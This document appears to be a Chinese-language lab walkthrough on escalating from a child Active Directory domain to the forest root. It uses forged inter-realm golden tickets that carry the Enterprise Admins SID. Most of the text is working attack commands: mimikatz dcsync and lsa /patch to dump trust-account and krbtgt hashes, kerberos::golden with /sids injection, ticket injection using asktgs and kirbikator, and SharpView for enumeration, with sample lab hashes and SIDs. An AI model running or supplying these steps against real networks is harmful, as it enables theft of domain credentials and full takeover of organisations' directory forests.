简要说明:
1、首先在子域和父域之间他们是固定会建立起双向信任关系的,子域是相对于父域来说的,最上层的叫做根域,例如ice.com 和test.ice.com 和a.test.ice.com,那么ice.com域为根域。根域权限非常大。
2、EA(企业管理员Enterprise Admins)只存在于根域中,在子域只有DA(普通域管理员权限Domain Admins),而EA会被森林内部所有域自动加入到本域管理员组,因此EA能管理所有子域。
3、正常的黄金票据,是成功拿到了Kerberos的hash,并与SID,子域名称,子域内任意伪造的用户名这四个条件的利用。
但是由于生成的SID为Mimikatz自己拼接的,而EA的RID(也就是SID的最后三位数字)为519,这个RID与原本的子域的SID(没有后三位)拼接,成为了S-1-5-21-3641416521-285861825-2863956705-512或S-1-5-21-3641416521-285861825-2863956705-519,其中512为DA生效,每个域都有DA;519为EA,由于是S-1-5-21-3641416521-285861825-2863956705-519为不存在而失效(因为子域没有EA组),那么也就无法进行跨域。
https://www.anquanke.com/post/id/172900?display=mobile&platform=iOS
https://www.cnblogs.com/zpchcbd/p/12215646.html
条件:
已获取A域的域控权限,并且与B域建立了域信任的关系,想获取B域的域控权限,其中AB域为父子关系。
实验环境:构造一个父子域
其中父域存在EA
子域只存在DA
1、域信任账户秘钥获取根域权限
此处为利用域信任账号的秘钥(hash)来获取根域的权限
1、获取域信任账户,此命令在Powershell下自带,不用使用任何第三方ps1
Get-ADUser -filter {samaccountname -like "*$"}
2、获取此信任账户的hash
lsadump::dcsync /user:ICEQAQ$@child.iceqaq.com
3、构造跨域黄金票据
mimikatz "kerberos::golden /domain:子域的名称 /user:任意用户名 /rc4:信任秘钥hash service:krbtgt /sid:S-1-5-21-子域的SID(不需要RID) /sids:S-1-5-根域-519 /ptt /target:目标域 /ticket:sid-iceqaq.kirbi" exit
即为:
mimikatz "kerberos::golden /domain:child.iceqaq.com /user:test /rc4:2d9d0dbc80b3f790bbcbdc186eef2bc7 service:krbtgt /sid:S-1-5-21-532888329-3018161785-1473154013 /sids:S-1-5-21-392257-2891596270-3803063837-519 /target:iceqaq.com /ticket:sid-iceqaq.kirbi" exit
4、生成一个跨域的黄金票据后,还需要再工具来将票据注入
asktgs.zip
asktgs.exe sid-iceqaq.kirbi CIFS/iceqaqdc.iceqaq.com
kirbikator.exe lsa CIFS.iceqaqdc.iceqaq.com.kirbi
这里成功获取了父域的权限了
值得注意的是,这里我们利用的是CIFS的权限,也就是我们此时获取到的是父域的文件共享权限,此时我们无法控制其他的兄弟域。
2、kerbtgt散列获取根域权限
1、获取子域kerbtgt账户的hash和SID
privilege::debug
lsadump::lsa /patch
2、获取父域(根域)的SID
这里使用打包好的一个powerview工具来进行https://github.com/tevora-threat/SharpView
SharpView.exe get-forest -domain iceqaq.com
也可以使用mimikatz命令同时获取目标与自身SID
lsadump::trust /patch
3、在子域上构造跨域黄金票据
先要清除已有,不然可能会影响效果
kerberos::purge
kerberos::golden /user:Administrator /krbtgt:子域的KRBTGT_HASH /domain:子域的名称 /sid:S-1-5-21-子域的SID(不需要RID) /sids:S-1-5-根域-519 /ptt
即为
kerberos::golden /user:Administrator /krbtgt:ebf78b7328bf1bcfba15f188a9135a98 /domain:child.iceqaq.com /sid:S-1-5-21-532888329-3018161785-1473154013 /sids:S-1-5-21-392257-2891596270-3803063837-519 /ptt
完美且成功的获取了父域的权限,这个父域权限是真正的权限,可以管理所有以它为根的域